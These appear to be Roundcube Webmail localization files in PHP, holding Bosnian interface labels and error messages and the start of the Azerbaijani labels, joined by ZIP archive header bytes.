$labels['country'] = 'Zemlja';
$labels['birthday'] = 'Rođendan';
$labels['anniversary'] = 'Godišnjica';
$labels['website'] = 'Web stranica';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Napomene';
$labels['male'] = 'Muško';
$labels['female'] = 'Žensko';
$labels['manager'] = 'Menadžer';
$labels['assistant'] = 'Pomoćnik';
$labels['spouse'] = 'Supružnik';
$labels['allfields'] = 'Sva polja';
$labels['search'] = 'Pretraga';
$labels['searchresult'] = 'Rezultati pretrage';
$labels['advsearch'] = 'Napredna pretraga';
$labels['advanced'] = 'Napredno';
$labels['other'] = 'Ostalo';
$labels['printcontact'] = 'Štampaj kontakt';
$labels['typehome'] = 'Kućni broj';
$labels['typework'] = 'Poslovni broj';
$labels['typeother'] = 'Ostalo';
$labels['typemobile'] = 'Mobilni broj';
$labels['typemain'] = 'Glavni broj';
$labels['typehomefax'] = 'Fax kuća';
$labels['typeworkfax'] = 'Fax posao';
$labels['typecar'] = 'Automobil';
$labels['typepager'] = 'Pejdžer';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Pomoćnik';
$labels['typehomepage'] = 'Početna stranica';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Dodaj polje...';
$labels['addcontact'] = 'Dodaj kontakt';
$labels['editcontact'] = 'Uredi kontakt';
$labels['contacts'] = 'Kontakti';
$labels['contactproperties'] = 'Svojstva kontakta';
$labels['contactnameandorg'] = 'Ime i organizacija';
$labels['personalinfo'] = 'Lični podaci';
$labels['personal'] = 'Lično';
$labels['contactphoto'] = 'Kontakt fotografija';
$labels['edit'] = 'Uredi';
$labels['cancel'] = 'Otkaži';
$labels['save'] = 'Sačuvaj';
$labels['delete'] = 'Obriši';
$labels['discard'] = 'Odbaci';
$labels['rename'] = 'Preimenuj';
$labels['addphoto'] = 'Dodaj';
$labels['replacephoto'] = 'Zamijeni';
$labels['uploadphoto'] = 'Dodaj fotografiju';
$labels['newcontact'] = 'Kreiraj novi kontakt';
$labels['deletecontact'] = 'Obriši odabrane kontakte';
$labels['composeto'] = 'Napiši email za';
$labels['contactsfromto'] = 'Kontakti od $from do $to od ukupno $count';
$labels['print'] = 'Štampaj';
$labels['export'] = 'Izvoz';
$labels['exportall'] = 'Izvezi sve';
$labels['exportsel'] = 'Izvezi označeno';
$labels['exportvcards'] = 'Izvezi kontakte u vCard formatu';
$labels['newgroup'] = 'Kreiraj novu grupu';
$labels['addgroup'] = 'Dodaj grupu';
$labels['grouprename'] = 'Preimenuj grupu';
$labels['groupdelete'] = 'Obriši grupu';
$labels['groupremoveselected'] = 'Ukloni odabrane kontakte iz grupe';
$labels['uponelevel'] = 'Nazad jedan nivo';
$labels['previouspage'] = 'Prikaži prethodnu stranicu';
$labels['firstpage'] = 'Prikaži prvu stranicu';
$labels['nextpage'] = 'Prikaži sljedeću stranicu';
$labels['lastpage'] = 'Prikaži zadnju stranicu';
$labels['group'] = 'Grupa';
$labels['groups'] = 'Grupe';
$labels['listgroup'] = 'Izlistaj članove grupe';
$labels['personaladrbook'] = 'Lične adrese';
$labels['searchsave'] = 'Sačuvaj pretragu';
$labels['searchdelete'] = 'Obriši pretragu';
$labels['import'] = 'Uvoz';
$labels['importcontacts'] = 'Uvoz kontakata';
$labels['importtarget'] = 'Dodaj kontakte u';
$labels['importreplace'] = 'Zamijeni cijeli adresar';
$labels['importgroups'] = 'Uvezi grupne zadatke';
$labels['importgroupsall'] = 'Sve (kreiraj grupe ako je potrebno)';
$labels['importgroupsexisting'] = 'Samo za postojeće grupe';
$labels['done'] = 'Završeno';
$labels['settingsfor'] = 'Podešavanja za';
$labels['about'] = 'Informacije';
$labels['preferences'] = 'Podešavanja';
$labels['userpreferences'] = 'Korisničke opcije';
$labels['editpreferences'] = 'Uredi korisničke opcije';
$labels['identities'] = 'Identiteti';
$labels['manageidentities'] = 'Upravljanje identitetima';
$labels['newidentity'] = 'Kreiraj novi identitet';
$labels['addidentity'] = 'Dodaj identitet';
$labels['editidentity'] = 'Uredi identitet';
$labels['preferhtml'] = 'Prikaži HTML';
$labels['defaultcharset'] = 'Glavni skup znakova';
$labels['htmlmessage'] = 'HTML poruke';
$labels['messagepart'] = 'Dio';
$labels['digitalsig'] = 'Digitalni potpis';
$labels['dateformat'] = 'Format datuma';
$labels['timeformat'] = 'Format vremena';
$labels['prettydate'] = 'Formatirani datum';
$labels['setdefault'] = 'Postavi kao glavno';
$labels['autodetect'] = 'Automatski';
$labels['language'] = 'Jezik';
$labels['timezone'] = 'Vremenska zona';
$labels['pagesize'] = 'Redova po stranici';
$labels['signature'] = 'Potpis';
$labels['dstactive'] = 'Ljetno računanje vremena';
$labels['showinextwin'] = 'Otvori poruku u novom prozoru';
$labels['composeextwin'] = 'Napiši u novom prozor';
$labels['htmleditor'] = 'Piši HTML poruke';
$labels['htmlonreply'] = 'samo kao odgovor na HTML poruke';
$labels['htmlonreplyandforward'] = 'prilikom prosljeđivanja ili odgovaranja na HTML poruku';
$labels['htmlsignature'] = 'HTML potpis';
$labels['showemail'] = 'Prikaži email adresu sa imenom';
$labels['previewpane'] = 'Prikaži pregled poruke';
$labels['skin'] = 'Skin interfejsa';
$labels['logoutclear'] = 'Očisti smeće prilikom odjavljivanja';
$labels['logoutcompact'] = 'Optimiziraj sanduče prilikom odjavljivanja';
$labels['uisettings'] = 'Korisnički interfejs';
$labels['serversettings'] = 'Postavke servera';
$labels['mailboxview'] = 'Pregled emaila';
$labels['mdnrequests'] = 'Prilikom zahtjeva za povratnicu';
$labels['askuser'] = 'pitaj korisnika';
$labels['autosend'] = 'pošalji povratnicu';
$labels['autosendknown'] = 'pošalji povratnicu mojim kontaktima, u suprotnom me pitaj';
$labels['autosendknownignore'] = 'pošalji povratnicu mojim kontaktima, u suprotnom zanemari';
$labels['ignorerequest'] = 'Zanemari zahtjev';
$labels['readwhendeleted'] = 'Označi poruku kao pročitanu pri brisanju';
$labels['flagfordeletion'] = 'Označi poruku za brisanje umjesto brisanja';
$labels['skipdeleted'] = 'Ne prikazuj obrisane poruke';
$labels['deletealways'] = 'Ako premještanje poruka u smeće ne uspije, odmah ih obriši';
$labels['deletejunk'] = 'Direktno obriši poruke u smeću';
$labels['showremoteimages'] = 'Prikaži vanjske slike u porukama';
$labels['fromknownsenders'] = 'od poznatih pošiljatelja';
$labels['always'] = 'uvijek';
$labels['showinlineimages'] = 'Prikaži priložene slike ispod poruke';
$labels['autosavedraft'] = 'Automatski sačuvaj skicu';
$labels['everynminutes'] = 'svakih $n minuta';
$labels['refreshinterval'] = 'Osvježi (provjeri ima li novih poruka itd.)';
$labels['never'] = 'nikad';
$labels['immediately'] = 'odmah';
$labels['messagesdisplaying'] = 'Prikaz poruka';
$labels['messagescomposition'] = 'Pisanje poruka';
$labels['mimeparamfolding'] = 'Nazivi priloga';
$labels['2231folding'] = 'Puni RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Puni RFC 2047 (ostalo)';
$labels['force7bit'] = 'Koristi MIME kodiranje za 8-bitne znakove';
$labels['savelocalstorage'] = "Sačuvaj u lokalno skladište browsera (privremeno)";
$labels['advancedoptions'] = 'Napredne opcije';
$labels['toggleadvancedoptions'] = '(De)aktivacija naprednih opcija';
$labels['focusonnewmessage'] = 'Fokusiraj prozor preglednika na novu poruku';
$labels['checkallfolders'] = 'Provjeri ima li novih poruka u svim folderima';
$labels['defaultfont'] = 'Osnovni font za HTML poruke';
$labels['mainoptions'] = 'Glavne opcije';
$labels['browseroptions'] = 'Opcije preglednika';
$labels['section'] = 'Sekcija';
$labels['maintenance'] = 'Održavanje';
$labels['newmessage'] = 'Nova poruka';
$labels['signatureoptions'] = 'Opcija potpisa';
$labels['whenreplying'] = 'Prilikom odgovora';
$labels['replyempty'] = 'ne citiraj originalnu poruku';
$labels['replytopposting'] = 'započni novu poruku iznad originala';
$labels['replybottomposting'] = 'započni novu poruku ispod originala';
$labels['replyremovesignature'] = 'Prilikom odgovaranja na poruku, ukloni originalni potpis iz poruke';
$labels['autoaddsignature'] = 'Automatski dodaj potpis';
$labels['newmessageonly'] = 'samo za nove poruke';
$labels['replyandforwardonly'] = 'samo za odgovore i prosljeđivanja';
$labels['insertsignature'] = 'Umetni potpis';
$labels['afternseconds'] = 'nakon $n sekundi';
$labels['reqmdn'] = 'Uvijek zahtjevaj povratnicu';
$labels['reqdsn'] = 'Uvijek zahtjevaj obavijest o statusu dostave';
$labels['replysamefolder'] = 'Sačuvaj odgovore u folder poruke na osnovu koje se piše odgovor';
$labels['defaultabook'] = 'Osnovni adresar';
$labels['autocompletesingle'] = 'Preskoči alternativne email adrese prilikom automatskog popunjavanja';
$labels['listnamedisplay'] = 'Izlistaj kontakte kao';
$labels['spellcheckbeforesend'] = 'Provjeri pravopis prije slanja poruke';
$labels['spellcheckoptions'] = 'Opcije provjere pravopisa';
$labels['spellcheckignoresyms'] = 'Zanemari riječi sa simbolima';
$labels['spellcheckignorenums'] = 'Zanemari riječi sa brojevima';
$labels['spellcheckignorecaps'] = 'Zanemari riječi napisane velikim slovima';
$labels['addtodict'] = 'Dodaj u rječnik';
$labels['mailtoprotohandler'] = 'Registruj upravljač protokola za mailto: linkovi';
$labels['standardwindows'] = 'Tretiraj popup-ove kao standardne prozore';
$labels['forwardmode'] = 'Prosljeđivanje poruka';
$labels['inline'] = 'u istom redu';
$labels['asattachment'] = 'kao prilog';
$labels['replyallmode'] = 'Zadana radnja za [Odgovori svima] dugme';
$labels['replyalldefault'] = 'odgovori svima';
$labels['replyalllist'] = 'odgovori samo listi mailova (ukoliko je pronađena)';
$labels['allmessages'] = 'sve poruke';
$labels['folder'] = 'Folder';
$labels['folders'] = 'Folderi';
$labels['foldername'] = 'Naziv foldera';
$labels['subscribed'] = 'Pretplaćen';
$labels['messagecount'] = 'Poruke';
$labels['create'] = 'Kreiraj';
$labels['createfolder'] = 'Kreiraj novi folder';
$labels['managefolders'] = 'Upravljanje folderima';
$labels['specialfolders'] = 'Specijalni folder';
$labels['properties'] = 'Svojstva';
$labels['folderproperties'] = 'Svojstva foldera';
$labels['parentfolder'] = 'Matični folder';
$labels['location'] = 'Lokacija';
$labels['info'] = 'Informacije';
$labels['getfoldersize'] = 'Kliknite da biste dobili informaciju o veličini foldera';
$labels['changesubscription'] = 'Kliknite da promijenite pretplatu';
$labels['foldertype'] = 'Vrsta foldera';
$labels['personalfolder'] = 'Privatni folder';
$labels['otherfolder'] = 'Folder drugog korisnika';
$labels['sharedfolder'] = 'Javni folder';
$labels['findfolders'] = 'Pronađi foldere';
$labels['namespace.personal'] = 'Lično';
$labels['namespace.other'] = 'Ostali korisnici';
$labels['namespace.shared'] = 'Dijeljeno';
$labels['sortby'] = 'Sortiraj po';
$labels['sortasc'] = 'Sortiraj uzlazno';
$labels['sortdesc'] = 'Sortiraj silazno';
$labels['undo'] = 'Nazad';
$labels['installedplugins'] = 'Instalirani plugini';
$labels['plugin'] = 'Plugin';
$labels['version'] = 'Verzija';
$labels['source'] = 'Izvorni kod';
$labels['license'] = 'Licenca';
$labels['support'] = 'Podrška';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unikod';
$labels['english'] = 'engleski';
$labels['westerneuropean'] = 'Zapadna Evropa';
$labels['easterneuropean'] = 'Istočna Evropa';
$labels['southeasterneuropean'] = 'Jugoistočna Evropa';
$labels['baltic'] = 'Baltički';
$labels['cyrillic'] = 'ćirilični';
$labels['arabic'] = 'arapski';
$labels['greek'] = 'grčki';
$labels['hebrew'] = 'hebrejski';
$labels['turkish'] = 'turski';
$labels['nordic'] = 'Nordijski';
$labels['thai'] = 'tajlandski';
$labels['celtic'] = 'keltski';
$labels['vietnamese'] = 'vijetnamski';
$labels['japanese'] = 'japanski';
$labels['korean'] = 'korejski';
$labels['chinese'] = 'kineski';
$labels['arialabeltopnav'] = 'Kontrola prozora';
$labels['arialabeltasknav'] = 'Zadaci aplikacije';
$labels['arialabeltoolbar'] = 'Alatna traka aplikacije';
$labels['arialabelactivetask'] = 'Aktivni zadatak';
$labels['arialabelmessagessearchfilter'] = 'Filter listinga emaila';
$labels['arialabelmailsearchform'] = 'Obrazac za pretragu email poruka';
$labels['arialabelcontactsearchform'] = 'Obrazac za pretragu kontakata';
$labels['arialabelmailquicksearchbox'] = 'Unos za email pretragu';
$labels['arialabelquicksearchbox'] = 'Unos za pretragu';
$labels['arialabelfoldersearchfilter'] = 'Fitr listi foldera';
$labels['arialabelfoldersearchform'] = 'Obrazac za pretragu foldera';
$labels['arialabelfolderlist'] = 'Odabir email foldera';
$labels['arialabelmessagelist'] = 'Listing email poruka';
$labels['arialabelmailpreviewframe'] = 'Pregled poruke';
$labels['arialabelmailboxmenu'] = 'Meni sa akcijama za foldere';
$labels['arialabellistselectmenu'] = 'Meni za odabir listinga';
$labels['arialabelthreadselectmenu'] = 'Meni za listing tema';
$labels['arialabelmessagelistoptions'] = 'Prikaz listi poruka i opcije sortiranja';
$labels['arialabelmailimportdialog'] = 'Dijalog za uvoz poruke';
$labels['arialabelmessagenav'] = 'Navigacija za poruku';
$labels['arialabelmessagebody'] = 'Tijelo poruke';
$labels['arialabelmessageactions'] = 'Akcije poruke';
$labels['arialabelcontactquicksearch'] = 'Obrazac za pretragu kontakata';
$labels['arialabelcontactsearchbox'] = 'Unos za pretragu kontakata';
$labels['arialabelmessageheaders'] = 'Zaglavlja poruke';
$labels['arialabelforwardingoptions'] = 'Opcije prosljeđivanja';
$labels['arialabelreplyalloptions'] = 'Opcije odgovora svima';
$labels['arialabelmoremessageactions'] = 'Više akcija za poruke';
$labels['arialabelmarkmessagesas'] = 'Označi odabrane poruke kao...';
$labels['arialabelcomposeoptions'] = 'Opcije pisanja';
$labels['arialabelresponsesmenu'] = 'Meni za odbačene odgovore';
$labels['arialabelattachmentuploadform'] = 'Obrazac za dodavanje priloga';
$labels['arialabelattachmentpreview'] = 'Pregled priloga';
$labels['ariasummarycomposecontacts'] = 'Lista kontakata i grupi za primaoce';
$labels['arialabelcontactexportoptions'] = 'Opcije izvoza kontakata';
$labels['arialabelabookgroupoptions'] = 'Opcije adresara/grupe';
$labels['arialabelpreferencesform'] = 'Obrazac podešavanja';
$labels['arialabelidentityeditfrom'] = 'Obrazac za uređivanje identiteta';
$labels['arialabelresponseeditfrom'] = 'Obrazac za uređivanje odgovora';
$labels['arialabelsearchterms'] = 'Pojam za pretragu';
$labels['helplistnavigation'] = 'Lista navigacije pomoću tastature';
$labels['helplistkeyboardnavigation'] = "Strelice gore/dole: Pomjeri fokusirani red/selekciju.
Razmak: Odaberi fokusirani red.
Shift + gore/dole: Odaberi dodatni red iznad/ispod.
Ctrl + razmak: Dodaj fokusirani red u selekciju/ukloni iz selekcije.";
$labels['helplistkeyboardnavmessages'] = "Strelice desno/lijevo: proširi/zatvori temu temu emaila (samo u modu za teme).
Enter: Otvori odabranu/fokusiranu poruku.
Delete: Premjesti odabranu poruku u Smeće.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Otvora odabrani/fokusirani kontakt.";
PK
h�\g(�22'program/localization/bs_BA/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Desila se greška!';
$messages['loginfailed']  = 'Prijava nije uspjela.';
$messages['cookiesdisabled'] = 'Vaš preglednik ne prihvata kolačiće.';
$messages['sessionerror'] = 'Vaša sesija je neispravna ili je istekla.';
$messages['storageerror'] = 'Neuspješna konekcija na IMAP server';
$messages['servererror'] = 'Serverska greška!';
$messages['servererrormsg'] = 'Serverska greška: $msg';
$messages['connerror'] = 'Greška u povezivanju (Nije moguće kontaktirati server)!';
$messages['dberror'] = 'Greška u bazi podataka!';
$messages['windowopenerror'] = 'Popup prozor je blokiran!';
$messages['requesttimedout'] = 'Zahtjev je istekao';
$messages['errorreadonly'] = 'Nije moguće izvršiti operaciju. Folder je samo za čitanje.';
$messages['errornoperm'] = 'Nije moguće izvršiti operaciju. Pristup je odbijen.';
$messages['erroroverquota'] = 'Nije moguće izvršiti operaciju. Nema slobodnog prostora.';
$messages['erroroverquotadelete'] = 'Nema slobodnog prostora. Pritisnite SHIFT+DEL da obrišete poruku.';
$messages['invalidrequest'] = 'Neispravan zahtjev! Podaci nisu sačuvani.';
$messages['invalidhost'] = 'Neispravno ime servera.';
$messages['nomessagesfound'] = 'Nema poruka u ovom sandučetu.';
$messages['mailboxempty'] = 'Sanduče je prazno';
$messages['nomessages'] = 'Nema poruka';
$messages['refreshing'] = 'Osvježavam...';
$messages['loading'] = 'Učitavanje...';
$messages['uploading'] = 'Dodajem datoteku...';
$messages['uploadingmany'] = 'Dodajem datoteke...';
$messages['loadingdata'] = 'Učitavanje podataka...';
$messages['checkingmail'] = 'Provjeram ima li novih poruka...';
$messages['sendingmessage'] = 'Šaljem poruku...';
$messages['messagesent'] = 'Poruka je uspješno poslana.';
$messages['savingmessage'] = 'Poruka se snima...';
$messages['messagesaved'] = 'Poruka je uspješno sačuvana u skicama.';
$messages['successfullysaved'] = 'Uspješno sačuvano.';
$messages['savingresponse'] = 'Snimam teksta odgovora...';
$messages['deleteresponseconfirm'] = 'Da li zaista želite obrisati tekst ovog odgovora?';
$messages['addedsuccessfully'] = 'Kontakt uspješno dodan u adresar.';
$messages['contactnameexists'] = 'Kontakt s tim imenom već postoji.';
$messages['blockedimages'] = 'Zbog zaštite privatnosti, slike sa drugih servera su blokirane u ovoj poruci.';
$messages['encryptedmessage'] = 'Ova poruka je šifrirana i nije je moguće prikazati. Žao nam je!';
$messages['nocontactsfound'] = 'Adresar je prazan.';
$messages['contactnotfound'] = 'Traženi kontakt nije pronađen.';
$messages['sendingfailed'] = 'Greška pri slanju poruke.';
$messages['senttooquickly'] = 'Molimo sačekajte $sec sekundi prije slanja ove poruke.';
$messages['errorsavingsent'] = 'Desila se greška pri snimanju poslane poruke.';
$messages['errorsaving'] = 'Desila se greška pri snimanju.';
$messages['errormoving'] = 'Nije moguće premjestiti poruke.';
$messages['errorcopying'] = 'Nije moguće kopirati poruke.';
$messages['errordeleting'] = 'Nije moguće obrisati poruke.';
$messages['errormarking'] = 'Nije moguće označiti poruke.';
$messages['deletecontactconfirm']  = 'Da li zaista želite obrisati označene kontakte?';
$messages['deletegroupconfirm']  = 'Da li zaista želite obrisati označenu grupu?';
$messages['deletemessagesconfirm'] = 'Da li zaista želite obrisati označene poruke?';
$messages['deletefolderconfirm']  = 'Da li zaista želite obrisati ovaj folder?';
$messages['purgefolderconfirm']  = 'Da li zaista želite obrisati sve poruke u ovom folderu?';
$messages['contactdeleting'] = 'Brišem kontakte...';
$messages['groupdeleting'] = 'Brišem grupu...';
$messages['folderdeleting'] = 'Brišem folder...';
$messages['foldermoving'] = 'Premještam folder...';
$messages['foldersubscribing'] = 'Pretplaćujem se na folder...';
$messages['folderunsubscribing'] = 'Uklanjam pretplatu za folder...';
$messages['formincomplete'] = 'Obrazac nije popunjen u cjelosti.';
$messages['noemailwarning'] = 'Molimo vas da upišete ispravnu email adresu.';
$messages['nonamewarning']  = 'Molimo vas da upišete ime.';
$messages['nopagesizewarning'] = 'Molimo vas da upišete veličinu stranice.';
$messages['norecipientwarning'] = 'Molimo vas da upišete barem jednog primaoca.';
$messages['nosubjectwarning']  = 'Polje \'Naslov\' je prazno. Želite li unijeti naslov?';
$messages['nobodywarning'] = 'Želite li poslati poruku bez teksta?';
$messages['restoresavedcomposedata'] = 'Pronađena je prethodno napisana poruka koja nije poslana..\n\nTema:$subject\nSnimljeno: $date\n\nŽelite li vratiti ovu poruku?';
$messages['nosearchname'] = 'Molimo vas da upišete ime kontakta ili email adresu.';
$messages['notuploadedwarning'] = 'Neki od priloga još nisu dodani na server. Molimo vas da sačekate ili da otkažete dodavanje.';
$messages['searchsuccessful'] = 'Broj pronađenih poruka: $nr';
$messages['contactsearchsuccessful'] = '$nr kontakata je pronađeno.';
$messages['searchnomatch'] = 'Traženi pojam nije pronađen ni u jednoj poruci.';
$messages['searching'] = 'Pretražujem...';
$messages['checking'] = 'Provjeravam...';
$messages['stillsearching'] = 'I dalje pretražujem...';
$messages['nospellerrors'] = 'Pravopisne greške nisu pronađene.';
$messages['folderdeleted'] = 'Folder je uspješno obrisan.';
$messages['foldersubscribed'] = 'Uspješno ste pretplaćeni na folder.';
$messages['folderunsubscribed'] = 'Pretplata na folder je uspješno ukinuta.';
$messages['deletedsuccessfully'] = 'Brisanje uspješno.';
$messages['converting'] = 'Uklanjam formatiranje...';
$messages['messageopenerror'] = 'Nije moguće učitati poruku sa servera.';
$messages['fileuploaderror'] = 'Dodavanje datoteke nije uspjelo.';
$messages['filesizeerror'] = 'Datoteka je prevelika. Maksimalna veličina je $size.';
$messages['copysuccess'] = 'Uspješno kopirano $nr kontakata.';
$messages['movesuccess'] = 'Uspješno premješteno $nr kontakata.';
$messages['copyerror'] = 'Nije moguće kopirati kontakte.';
$messages['moveerror'] = 'Nije moguće premjestiti kontakte.';
$messages['sourceisreadonly'] = 'Ovaj izvor adresa je samo za čitanje.';
$messages['errorsavingcontact'] = 'Nije moguće sačuvati kontakt adresu.';
$messages['movingmessage'] = 'Premještam poruke...';
$messages['copyingmessage'] = 'Kopiram poruke...';
$messages['copyingcontact'] = 'Kopiram kontakte...';
$messages['movingcontact'] = 'Premještam kontakte...';
$messages['deletingmessage'] = 'Brišem poruke...';
$messages['markingmessage'] = 'Označavam poruke...';
$messages['addingmember'] = 'Dodajem kontakte u grupu...';
$messages['removingmember'] = 'Uklanjam kontakte iz grupe...';
$messages['receiptsent'] = 'Potvrda o primitku je uspješno poslana.';
$messages['errorsendingreceipt'] = 'Nije moguće poslati potvrdu.';
$messages['deleteidentityconfirm'] = 'Da li zaista želite obrisati ovaj identitet?';
$messages['nodeletelastidentity'] = 'Ne možete obrisati jedini identitet.';
$messages['forbiddencharacter'] = 'Naziv foldera sadrži nedozvoljeni znak.';
$messages['selectimportfile'] = 'Molimo vas da odaberete datoteku za dodavanje.';
$messages['addresswriterror'] = 'U odabrani adresar nije moguće zapisivati.';
$messages['contactaddedtogroup'] = 'Kontakti su uspješno dodani u ovu grupu.';
$messages['contactremovedfromgroup'] = 'Kontakti su uspješno uklonjeni iz ove grupe.';
$messages['nogroupassignmentschanged'] = 'Grupni zadaci nisu mijenjani.';
$messages['importwait'] = 'Uvoz u toku, molimo sačekajte...';
$messages['importformaterror'] = 'Uvoz nije uspio! Dodana datoteka nije u ispravnom formatu za uvoz podataka.';
$messages['importconfirm'] = '<b>Uspješno je uvezeno $inserted kontakata</b>';
$messages['importconfirmskipped'] = '<b>Preskočeno $skipped postojećih unosa</b>';
$messages['importmessagesuccess'] = 'Uspješno uvezeno $nr poruka';
$messages['importmessageerror'] = 'Uvoz nije uspio! Dodana datoteke nije ispravna datoteka sa porukama';
$messages['opnotpermitted'] = 'Operacija nije dozvoljena!';
$messages['editorwarning'] = 'Promjenom uređivača biste mogli izgubiti formatiranje teksta. Želite li nastaviti?';
$messages['httpreceivedencrypterror'] = 'Dogodila se fatalna konfiguracijska greška. Odmah kontaktirajte administratora. <b>Vaša poruka se ne poslati.</b>';
$messages['smtpconnerror'] = 'SMTP greška ($code): Veza sa serverom nije uspostavljena.';
$messages['smtpautherror'] = 'SMTP greška ($code): Autentifikacija nije uspjela.';
$messages['smtpfromerror'] = 'SMTP greška ($code): Nije uspjelo postavljanje pošiljaoca "$from" ($msg).';
$messages['smtptoerror'] = 'SMTP greška ($code): Nije uspjelo dodavanje primaoca "$to" ($msg)';
$messages['smtprecipientserror'] = 'SMTP greška: Nije moguće pročitati listu primaoca.';
$messages['smtperror'] = 'SMTP greška: $msg';
$messages['toomanyrecipients'] = 'Previše primaoca. Smanjite broj primaoca na $max.';
$messages['maxgroupmembersreached'] = 'Broj članova grupe prelazi maksimum od $max.';
$messages['internalerror'] = 'Dogodila se interna greška. Molimo vas da pokušate ponovo.';
$messages['contactdelerror'] = 'Kontakti ne mogu biti obrisani.';
$messages['contactdeleted'] = 'Kontakti su uspješno obrisani.';
$messages['contactrestoreerror'] = 'Nije moguće vratiti obrisane kontakte.';
$messages['contactrestored'] = 'Kontakti su uspješno vraćeni.';
$messages['groupdeleted'] = 'Grupa je uspješno obrisana.';
$messages['grouprenamed'] = 'Grupa je uspješno preimenovana.';
$messages['groupcreated'] = 'Grupa je uspješno kreirana.';
$messages['savedsearchdeleted'] = 'Sačuvana pretraga je uspješno obrisana.';
$messages['savedsearchdeleteerror'] = 'Nije moguće obrisati sačuvanu pretragu.';
$messages['savedsearchcreated'] = 'Uspješno ste sačuvali rezultate pretrage.';
$messages['savedsearchcreateerror'] = 'Nije moguće sačuvati pretragu.';
$messages['messagedeleted'] = 'Poruke su uspješno obrisane.';
$messages['messagemoved'] = 'Poruke su uspješno premještene.';
$messages['messagecopied'] = 'Poruke uspješno kopirane.';
$messages['messagemarked'] = 'Poruke uspješno označene.';
$messages['autocompletechars'] = 'Unesite barem $min znakova za automatsko popunjavanje.';
$messages['autocompletemore'] = 'Pronađeno je još rezultata. Molimo vas da upišete još znakova.';
$messages['namecannotbeempty'] = 'Polje za ime ne može biti prazno.';
$messages['nametoolong'] = 'Ime je predugo.';
$messages['folderupdated'] = 'Folder je uspješno ažuriran.';
$messages['foldercreated'] = 'Folder je uspješno kreiran.';
$messages['invalidimageformat'] = 'Format slike nije ispravan.';
$messages['mispellingsfound'] = 'Pronađene su pravopisne greške u ovoj poruci.';
$messages['parentnotwritable'] = 'Nije moguće kreirati/premjestiti folder u odabrani matični folder. Nemate prava pristupa.';
$messages['messagetoobig'] = 'Dio poruke je prevelik za procesiranje.';
$messages['noscriptwarning'] = 'Upozorenje! Ovom webmail servisu je potreban Javascript! Da biste ga mogli koristiti, prvo je potrebno da omogućite Javascript u postavkama vašeg browsera.';
$messages['messageissent'] = 'Poruka je već poslana, ali nije sačuvana. Želite li sada da je sačuvate?';
$messages['errnotfound'] = 'Fajl nije pronađen';
$messages['errnotfoundexplain'] = 'Traženi resurs nije pronađen!';
$messages['errfailedrequest'] = 'Neuspjeli zahtjev';
$messages['errauthorizationfailed'] = 'Autorizacija neuspjela';
$messages['errunauthorizedexplain'] = 'Nije moguće verificirani vašu dozvolu pristupa za ovaj servis!';
$messages['errrequestcheckfailed'] = 'Provjera zahtjeva nije uspjela';
$messages['errcsrfprotectionexplain'] = "Radi vaše zaštite, pristup ovom resursu je osiguran pomoću CSRF-a.\nAko vam je prikazana ova poruku, najvjerovatnije se niste odjavili prije napuštanja web aplikacije\n\nVaša akcija je sada neophodna za nastavak rada.";
$messages['errcontactserveradmin'] = 'Molimo vas da kontaktirate administratora servera.';
$messages['clicktoresumesession'] = 'Kliknite ovdje da nastavite rad u vašoj prethodnoj sesiji';
PK
h�\�z�Y�Y%program/localization/az_AZ/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product-a xoş gəldiniz!';
$labels['username'] = 'İstifadəçi adı';
$labels['password'] = 'Şifrə';
$labels['server'] = 'Server';
$labels['login'] = 'Giriş';
$labels['logout'] = 'Çıx';
$labels['mail'] = 'Poçt';
$labels['settings'] = 'Nizamlamalar';
$labels['addressbook'] = 'Ünvanlar';
$labels['inbox'] = 'Gələnlər';
$labels['drafts'] = 'Qaralamalar';
$labels['sent'] = 'Göndərilənlər';
$labels['trash'] = 'Səbət';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Xüsusi qovluqlar üçün real adları göstər';
$labels['subject'] = 'Mövzu';
$labels['from'] = 'Kimdən';
$labels['sender'] = 'Göndərən';
$labels['to'] = 'Kimə';
$labels['cc'] = 'Nüsxə';
$labels['bcc'] = 'Gizli';
$labels['replyto'] = 'Cavabla';
$labels['followupto'] = 'İzlə';
$labels['date'] = 'Tarix';
$labels['size'] = 'Ölçü';
$labels['priority'] = 'Vaciblik';
$labels['organization'] = 'Təşkilat';
$labels['readstatus'] = 'Statusu oxu';
$labels['listoptions'] = 'Siyahı ayarları...';
$labels['mailboxlist'] = 'Qovluqlar';
$labels['messagesfromto'] = '$count mesajdan $from - $to arası mesajlar';
$labels['threadsfromto'] = 'Müzakirə: $from - $to Toplam: $count';
$labels['messagenrof'] = 'Məktub: $nr / $count';
$labels['fromtoshort'] = '$from – $to-dan $count';
$labels['copy'] = 'Kopyala';
$labels['move'] = 'Köçür';
$labels['moveto'] = 'Burada köçür...';
$labels['copyto'] = 'Bura kopyala...';
$labels['download'] = 'Endir';
$labels['open'] = 'Aç';
$labels['showattachment'] = 'Göstər';
$labels['showanyway'] = 'İstənilən halda göstər';
$labels['filename'] = 'Faylın adı';
$labels['filesize'] = 'Faylın ölçüsü';
$labels['addtoaddressbook'] = 'Ünvanlara əlavə et';
$labels['sun'] = 'B';
$labels['mon'] = 'Be';
$labels['tue'] = 'Ç';
$labels['wed'] = 'Ça';
$labels['thu'] = 'C';
